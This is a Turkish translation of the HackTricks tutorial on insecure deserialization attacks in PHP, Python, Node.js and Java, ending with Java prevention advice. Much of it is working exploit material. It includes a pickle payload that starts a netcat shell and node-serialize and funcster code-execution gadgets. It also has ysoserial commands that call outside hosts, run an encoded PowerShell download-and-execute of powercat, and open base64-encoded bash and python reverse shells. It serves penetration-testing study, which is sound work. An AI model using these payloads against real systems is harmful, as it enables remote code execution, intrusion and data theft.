.. | ||
nodejs-proto-prototype-pollution | ||
basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md | ||
basic-java-deserialization-objectinputstream-readobject.md | ||
exploiting-__viewstate-knowing-the-secret.md | ||
exploiting-__viewstate-parameter.md | ||
java-dns-deserialization-and-gadgetprobe.md | ||
java-jsf-viewstate-.faces-deserialization.md | ||
java-transformers-to-rutime-exec-payload.md | ||
jndi-java-naming-and-directory-interface-and-log4shell.md | ||
php-deserialization-+-autoload-classes.md | ||
python-yaml-deserialization.md | ||
README.md |
Deserileştirme
Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- **💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @hacktricks_live'da takip edin.
- Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Temel Bilgiler
Serileştirme, bir nesneyi korunabilir bir formata dönüştürme yöntemi olarak anlaşılır, nesnenin saklanması veya iletişim sürecinin bir parçası olarak iletilmesi amacıyla. Bu teknik genellikle nesnenin daha sonra yeniden oluşturulabileceğinden, yapısını ve durumunu koruyabileceğinden emin olmak için kullanılır.
Deserileştirme ise serileştirmeyi karşılayan bir süreçtir. Belirli bir formatta yapılandırılmış verileri almayı ve bunları bir nesneye yeniden oluşturmayı içerir.
Deserileştirme tehlikeli olabilir çünkü potansiyel olarak saldırganların serileştirilmiş verileri manipüle ederek zararlı kodları yürütmelerine veya nesne yeniden oluşturma sürecinde uygulamada beklenmeyen davranışlara neden olmalarına izin verebilir.
PHP
PHP'de, serileştirme ve deserileştirme süreçlerinde belirli sihirli yöntemler kullanılır:
__sleep
: Bir nesne serileştirilirken çağrılır. Bu yöntem, serileştirilmesi gereken nesnenin tüm özelliklerinin adlarını içeren bir dizi döndürmelidir. Genellikle bekleyen verileri kaydetmek veya benzer temizleme görevlerini gerçekleştirmek için kullanılır.__wakeup
: Bir nesne deserileştirilirken çağrılır. Serileştirme sırasında kaybolmuş olabilecek herhangi bir veritabanı bağlantısını yeniden kurmak ve diğer yeniden başlatma görevlerini gerçekleştirmek için kullanılır.__unserialize
: Bu yöntem, bir nesne deserileştirilirken__wakeup
'ın yerine (varsa) çağrılır.__wakeup
'a göre deserileştirme süreci üzerinde daha fazla kontrol sağlar.__destruct
: Bu yöntem, bir nesnenin yok edilmek üzere olduğu veya betiğin sona erdiği zaman çağrılır. Genellikle dosya kollarını kapatma veya veritabanı bağlantıları gibi temizleme görevleri için kullanılır.__toString
: Bu yöntem, bir nesnenin bir dize olarak işlenmesine izin verir. Bir dosyayı okumak veya nesne içindeki işlev çağrılarına dayalı diğer görevleri gerçekleştirmek için kullanılabilir, etkili bir şekilde nesnenin metinsel bir temsilini sağlar.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
Eğer sonuçlara bakarsanız, nesne serileştirildiğinde __wakeup
ve __destruct
fonksiyonlarının çağrıldığını görebilirsiniz. Birçok öğreticide __toString
fonksiyonunun, bazı özellikleri yazdırmaya çalışırken çağrıldığını göreceksiniz, ancak görünüşe göre artık böyle bir şey olmuyor.
{% hint style="warning" %}
Eğer sınıfta uygulanmışsa, __unserialize(array $data)
yöntemi __wakeup()
yerine çağrılır. Bu yöntem, serileştirilmiş verileri bir dizi olarak sağlayarak nesneyi serileştirmenizi sağlar. Bu yöntemi kullanarak özellikleri serileştirebilir ve serileştirmeyi gerçekleştirmek için gerekli işlemleri yapabilirsiniz.
class MyClass {
private $property;
public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}
{% endhint %}
Açıklanan PHP örneğini buradan okuyabilirsiniz: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, buradan https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf veya buradan https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
PHP otomatik yükleme işlevselliğini kötüye kullanarak keyfi php dosyalarını ve daha fazlasını yükleyebilirsiniz:
{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}
Referans Değerlerin Serileştirilmesi
Bir nedenle bir değeri başka bir değere serileştirilmiş bir referans olarak serileştirmek istiyorsanız:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
PHPGGC (PHP için ysoserial)
PHPGGC, PHP serileştirmelerini kötüye kullanmak için payload oluşturmanıza yardımcı olabilir.
Birçok durumda, uygulamanın kaynak kodunda bir serileştirmeyi kötüye kullanmanın bir yolunu bulamayabilirsiniz ancak harici PHP uzantılarının kodunu kötüye kullanabilirsiniz.
Bu nedenle, sunucunun phpinfo()
'sunu kontrol edin ve internet üzerinde (hatta PHPGGC'nin gadget'ları üzerinde bile) kötüye kullanabileceğiniz olası bir gadget arayın.
phar:// metadata serileştirmesi
Eğer sadece dosyayı okuyan ve içindeki php kodunu çalıştırmayan bir LFI bulduysanız, örneğin file_get_contents(), fopen(), file() veya file_exists(), md5_file(), filemtime() veya filesize() gibi fonksiyonları kullanarak, bir dosyayı okurken oluşan bir serileştirmeyi kötüye kullanmaya çalışabilirsiniz.
Daha fazla bilgi için aşağıdaki yazıyı okuyun:
{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}
Python
Pickle
Nesne unpickle olduğunda, __reduce__ fonksiyonu çalıştırılacaktır.
Kötüye kullanıldığında, sunucu bir hata döndürebilir.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Pickle hapishanelerinden kaçmak hakkında daha fazla bilgi için şu adrese bakın:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Yaml & jsonpickle
Aşağıdaki sayfa, yamls python kütüphanelerindeki güvensiz serileştirmeyi kötüye kullanma tekniğini sunar ve Pickle, PyYAML, jsonpickle ve ruamel.yaml için RCE serileştirme yükü oluşturmak için kullanılabilecek bir araçla sona erer:
{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}
Sınıf Kirliliği (Python Prototip Kirliliği)
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}
NodeJS
JS Sihirli Fonksiyonlar
JS'de PHP veya Python gibi "sihirli" fonksiyonlar bulunmamaktadır, yani bir nesne oluşturulurken yalnızca çalıştırılacak fonksiyonlar. Ancak toString
, valueOf
, toJSON
gibi doğrudan çağrılmadan sıkça kullanılan fonksiyonlar gibi bazı fonksiyonlar bulunmaktadır.
Bir serileştirmeyi kötüye kullanarak bu fonksiyonları kompromize edebilir ve başka kodları çalıştırabilirsiniz (potansiyel olarak prototip kirliliklerini kötüye kullanabilirsiniz) ve bunlar çağrıldığında keyfi kodları yürütebilirsiniz.
Başka bir "sihirli" bir fonksiyonu doğrudan çağırmadan çağırmanın bir yolu, bir asykron fonksiyon tarafından döndürülen bir nesneyi kompromize etmektir (söz vermek). Çünkü, eğer o dönüş nesnesini başka bir fonksiyon türünde "then" adında bir özelliğe sahip bir söz ile dönüştürürseniz, başka bir söz tarafından döndürüldüğü için yalnızca çalıştırılacaktır. Daha fazla bilgi için bu bağlantıyı takip edin.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}
async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__
ve prototype
kirliliği
Bu teknik hakkında bilgi edinmek istiyorsanız aşağıdaki öğreticiye göz atın:
{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}
node-serialize
Bu kütüphane fonksiyonları seri hale getirmeyi sağlar. Örnek:
var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);
Serileştirilmiş nesne, aşağıdaki gibi görünecektir:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
Örnekte bir işlev serileştirildiğinde, _$$ND_FUNC$$_
bayrağının serileştirilmiş nesneye eklendiğini görebilirsiniz.
node-serialize/lib/serialize.js
dosyasının içinde aynı bayrağı ve kodun nasıl kullandığını bulabilirsiniz.
Son kod parçasında görebileceğiniz gibi, bayrak bulunursa eval
işlevinin işlevi tersine çevirmek için kullanılır, bu nedenle temelde kullanıcı girdisi eval
işlevi içinde kullanılır.
Ancak, bir işlevi yalnızca serileştirmek onu çalıştırmaz, çünkü örneğimizde kodun bir kısmının y.rce
'yi çağırması gerekmektedir ve bu oldukça olasılıksızdır.
Neyse ki, serileştirilmiş nesneye parantez ekleyerek otomatik olarak işlevi çalıştırmak için nesnenin tersine çevrildiğinde işlevin otomatik olarak çalıştırılmasını sağlayabilirsiniz.
Kodun son parçasında son parantezi ve unserialize
işlevinin kodu otomatik olarak çalıştıracağını fark edin:
var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);
Yukarıda belirtildiği gibi, bu kütüphane _$$ND_FUNC$$_
sonrasındaki kodu alacak ve eval
kullanarak çalıştıracak. Bu nedenle, kodun otomatik olarak çalıştırılması için fonksiyon oluşturma kısmını ve son parantezi silebilir ve aşağıdaki örnekte olduğu gibi yalnızca bir JS oneliner'ı çalıştırabilirsiniz:
var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);
Bu zafiyetin nasıl sömürüleceği hakkında daha fazla bilgiyi burada bulabilirsiniz.
funcster
funcster'ın dikkate değer bir yönü, standart yerleşik nesnelerin erişilemez olmasıdır; bunlar erişilebilir kapsamın dışında kalır. Bu kısıtlama, yerleşik nesneler üzerinde yöntemler çağırmaya çalışan kodların yürütülmesini engeller ve console.log()
veya require(something)
gibi komutlar kullanıldığında "ReferenceError: console is not defined"
gibi istisnalar ortaya çıkar.
Bu kısıtlamaya rağmen, global bağlamın tam erişimine, tüm standart yerleşik nesneler de dahil olmak üzere, belirli bir yaklaşımla ulaşmak mümkündür. Bu kısıtlamayı atlayabilirsiniz. Örneğin, aşağıdaki kod parçacığı kullanılarak erişim yeniden sağlanabilir:
funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)
Daha fazla bilgi için bu kaynağı okuyun](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/).
serialize-javascript
serialize-javascript paketi yalnızca serileştirme amaçları için tasarlanmış olup, yerleşik bir deserializasyon yeteneğine sahip değildir. Kullanıcıların kendi deserializasyon yöntemlerini uygulamaktan sorumlu oldukları belirtilmektedir. Serileştirilmiş verilerin deserializasyonu için resmi örnekte doğrudan eval
kullanımı önerilmektedir:
function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}
Eğer bu fonksiyon nesneleri deserialize etmek için kullanılıyorsa, bunu kolayca istismar edebilirsiniz:
var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Daha fazla bilgi için bu kaynağı okuyun](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/).
Cryo kütüphanesi
Bu kütüphaneyi kötüye kullanmak için nasıl bilgi bulabileceğinizi aşağıdaki sayfalarda bulabilirsiniz:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
Java'da, serileştirme geri çağrıları serileştirme işlemi sırasında yürütülür. Bu yürütme, kötü niyetli yükler oluşturan saldırganlar tarafından istismar edilebilir ve bu geri çağrıları tetikleyen zararlı eylemlerin potansiyel olarak yürütülmesine yol açabilir.
Parmak İzi
Beyaz Kutu
Kod tabanında potansiyel serileştirme açıklarını tanımlamak için arayın:
Serializable
arabirimini uygulayan sınıflar.java.io.ObjectInputStream
,readObject
,readUnshare
işlevlerinin kullanımı.
Özellikle dikkat edin:
- Harici kullanıcılar tarafından tanımlanan parametrelerle kullanılan
XMLDecoder
. - Özellikle XStream sürümü 1.46 veya daha düşükse,
XStream
'infromXML
yöntemi, çünkü serileştirme sorunlarına duyarlıdır. ObjectInputStream
ilereadObject
yönteminin birlikte kullanılması.readObject
,readObjectNodData
,readResolve
veyareadExternal
gibi yöntemlerin uygulanması.ObjectInputStream.readUnshared
.Serializable
'ın genel kullanımı.
Siyah Kutu
Siyah kutu testi için, java serileştirilmiş nesneleri belirten belirli imzalar veya "Sihirli Baytlar" arayın (ObjectInputStream'den kaynaklanan):
- Onaltılık desen:
AC ED 00 05
. - Base64 deseni:
rO0
. Content-type
'ıapplication/x-java-serialized-object
olarak ayarlanmış HTTP yanıt başlıkları.- Önceki sıkıştırmayı belirten onaltılık desen:
1F 8B 08 00
. - Önceki sıkıştırmayı belirten Base64 deseni:
H4sIA
. .faces
uzantılı web dosyaları vefaces.ViewState
parametresi. Bu desenleri bir web uygulamasında keşfetmek, Java JSF ViewState Deserialization hakkındaki yazıda detaylı bir inceleme yapılmasını gerektirmelidir.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Zayıf Nokta Kontrolü
Eğer Bir Java Deserialization saldırısının nasıl çalıştığını öğrenmek istiyorsanız, Temel Java Deserialization, Java DNS Deserialization ve CommonsCollection1 Yüküna göz atmalısınız.
Beyaz Kutu Testi
Bilinen zayıf noktalara sahip herhangi bir uygulamanın yüklü olup olmadığını kontrol edebilirsiniz.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
Tüm bilinen kütüphaneleri kontrol etmeyi deneyebilir ve Ysoserial tarafından sömürü sağlanabilen kütüphaneleri kontrol edebilirsiniz. Ya da Java-Deserialization-Cheat-Sheet üzerinde belirtilen kütüphaneleri kontrol edebilirsiniz.
Ayrıca, sömürülebilecek olası gadget zincirlerini aramak için gadgetinspector kullanabilirsiniz.
gadgetinspector'ı çalıştırırken (derledikten sonra) geçtiği birçok uyarı/hataya aldırmayın ve bitmesine izin verin. Tüm bulguları gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt altında yazacaktır. Lütfen dikkat edin, gadgetinspector bir sömürü oluşturmayacak ve yanlış pozitifler gösterebilir.
Siyah Kutu Testi
Burp eklentisi gadgetprobe kullanarak hangi kütüphanelerin mevcut olduğunu (ve hatta sürümleri) belirleyebilirsiniz. Bu bilgiyle, zafiyeti sömürmek için bir yük seçmek daha kolay olabilir.
GadgetProbe hakkında daha fazla bilgi edinmek için burayı okuyun.
GadgetProbe, ObjectInputStream
deserializasyonlarına odaklanmıştır.
Burp eklentisi Java Deserialization Scanner kullanarak ysoserial ile sömürülebilecek zafiyetli kütüphaneleri belirleyebilir ve sömürü yapabilirsiniz.
Java Deserialization Scanner hakkında daha fazla bilgi edinmek için burayı okuyun.
Java Deserialization Scanner, ObjectInputStream
deserializasyonlarına odaklanmıştır.
Ayrıca, Freddy'yi (https://github.com/nccgroup/freddy) kullanarak Burp içindeki deserializasyon zafiyetlerini tespit edebilirsiniz. Bu eklenti, ObjectInputStream
ile ilgili zafiyetlerin yanı sıra Json ve Yml deserializasyon kütüphanelerinden kaynaklanan zafiyetleri de tespit edecektir. Aktif modda, bunları uyku veya DNS yükleri kullanarak doğrulamaya çalışacaktır.
Freddy hakkında daha fazla bilgiyi burada bulabilirsiniz.
Seri Test
Sunucu tarafında kullanılan herhangi bir zafiyetli kütüphelere bakmanın ötesinde bazen serileştirilmiş nesne içindeki verileri değiştirerek bazı kontrolleri atlayabilirsiniz (belki bir web uygulaması içinde yönetici ayrıcalıklarını size verir).
Bir java serileştirilmiş nesnesi bulursanız ve bir web uygulamasına gönderilirse, gönderilen serileştirilmiş nesneyi daha insan okunabilir bir formatta yazdırmak için SerializationDumper kullanabilirsiniz. Hangi verileri gönderdiğinizi bilmek, bunları değiştirmeyi ve bazı kontrolleri atlamayı daha kolay hale getirecektir.
Sömürü
ysoserial
Java deserializasyonları sömürmek için ana araç ysoserial (buradan indirebilirsiniz). Ayrıca, karmaşık komutları (örneğin borularla) kullanmanıza izin verecek olan ysoseral-modified kullanmayı da düşünebilirsiniz.
Bu aracın ObjectInputStream
'ı sömürmeye odaklandığını unutmayın.
Enjeksiyonun mümkün olup olmadığını test etmek için önce "URLDNS" yükünü kullanmaya başlamalısınız, ardından bir RCE yükü. Her durumda, "URLDNS" yükünün çalışmadığını ancak diğer RCE yükünün çalıştığını unutmayın.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
java.lang.Runtime.exec() için bir yük oluştururken, bir yürütmenin çıktısını yönlendirmek için ">" veya "|" gibi özel karakterleri kullanamazsınız, komutları yürütmek için "$()" veya bir komuta boşluklarla ayrılmış argümanlar geçemezsiniz (echo -n "hello world"
yapabilirsiniz ancak python2 -c 'print "Hello world"'
yapamazsınız). Yükü doğru şekilde kodlamak için bu web sitesini kullanabilirsiniz.
Zayıf web sayfasında test etmek için Windows ve Linux için tüm olası kod yürütme yüklerini oluşturmak için aşağıdaki betiği kullanabilirsiniz:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
serialkillerbypassgadgets adlı https://github.com/pwntester/SerialKillerBypassGadgetCollection bağlantısını kullanarak ysoserial ile daha fazla saldırı oluşturabilirsiniz. Araç hakkında daha fazla bilgi, aracın sunulduğu sunum slaytlarında bulunabilir: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec, Java'da farklı Json ve Yml serileştirme kütüphanelerini sömürmek için yük oluşturmak için kullanılabilir. Proje derlemek için pom.xml
dosyasına bu bağımlılıkları eklemem gerekiyordu:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Maven'i yükleyin ve projeyi derleyin:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
Bu Java JSON kütüphanesi hakkında daha fazla bilgi edinin: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Labaratuvarlar
- Eğer bazı ysoserial payload'larını test etmek istiyorsanız bu web uygulamasını çalıştırabilirsiniz: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Neden
Java, çeşitli amaçlar için çok sayıda serileştirme kullanır:
- HTTP istekleri: Serileştirme, parametrelerin yönetiminde, ViewState, çerezler vb. geniş çapta kullanılır.
- RMI (Uzak Yöntem Çağrısı): Tamamen serileştirmeye dayanan Java RMI protokolü, Java uygulamalarında uzak iletişim için temel bir taşıyıcıdır.
- HTTP üzerinden RMI: Bu yöntem, serileştirme kullanarak tüm nesne iletişimlerini gerçekleştiren Java tabanlı kalın istemci web uygulamaları tarafından yaygın olarak kullanılır.
- JMX (Java Yönetim Uzantıları): JMX, nesnelerin ağ üzerinden iletilmesi için serileştirmeyi kullanır.
- Özel Protokoller: Java'da, standart uygulama, ilerleyen saldırı örneklerinde gösterileceği gibi ham Java nesnelerinin iletilmesini içerir.
Önleme
Geçici nesneler
Serializable
uygulayan bir sınıf, sınıf içinde serileştirilemeyecek herhangi bir nesneyi transient
olarak uygulayabilir. Örneğin:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Serializable
uygulamak zorunda olan bir sınıfın serileştirilmesinden kaçının
Belirli durumlarda, sınıf hiyerarşisi nedeniyle belirli nesnelerin Serializable
arabirimini uygulaması gerektiğinde, istenmeyen deserializasyon riski vardır. Bunu önlemek için, aşağıda gösterildiği gibi sürekli bir istisna fırlatan final
readObject()
yöntemini tanımlayarak bu nesnelerin deserializasyon yapılamaz hale getirildiğinden emin olun:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Java'da Serileştirme Güvenliğini Geliştirme
java.io.ObjectInputStream
'i özelleştirmek, serileştirme işlemlerini güvence altına almanın pratik bir yoludur. Bu yöntem uygun olduğunda şunlar geçerlidir:
- Serileştirme kodu sizin kontrolünüz altındadır.
- Serileştirme için beklenen sınıflar bilinmektedir.
Serileştirme işlemini yalnızca izin verilen sınıflarla sınırlamak için resolveClass()
yöntemini geçersiz kılın. Bu, serileştirmeyi yalnızca açıkça izin verilen sınıfların dışında herhangi bir sınıfa izin vermeden engeller. Aşağıdaki örnekte olduğu gibi, serileştirmeyi yalnızca Bicycle
sınırlar:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Güvenlik Geliştirmesi için Bir Java Ajanı Kullanımı, kod değişikliğinin mümkün olmadığı durumlarda bir yedek çözüm sunar. Bu yöntem genellikle zararlı sınıfları karalistelemek için bir JVM parametresi kullanır:
-javaagent:name-of-agent.jar
Deserilizasyonu dinamik olarak güvence altına almanın bir yolunu sağlar, anında kod değişikliklerinin uygulanamadığı ortamlar için idealdir.
rO0 by Contrast Security içindeki örneği kontrol edin.
Serileştirme Filtreleri Uygulamak: Java 9, ObjectInputFilter
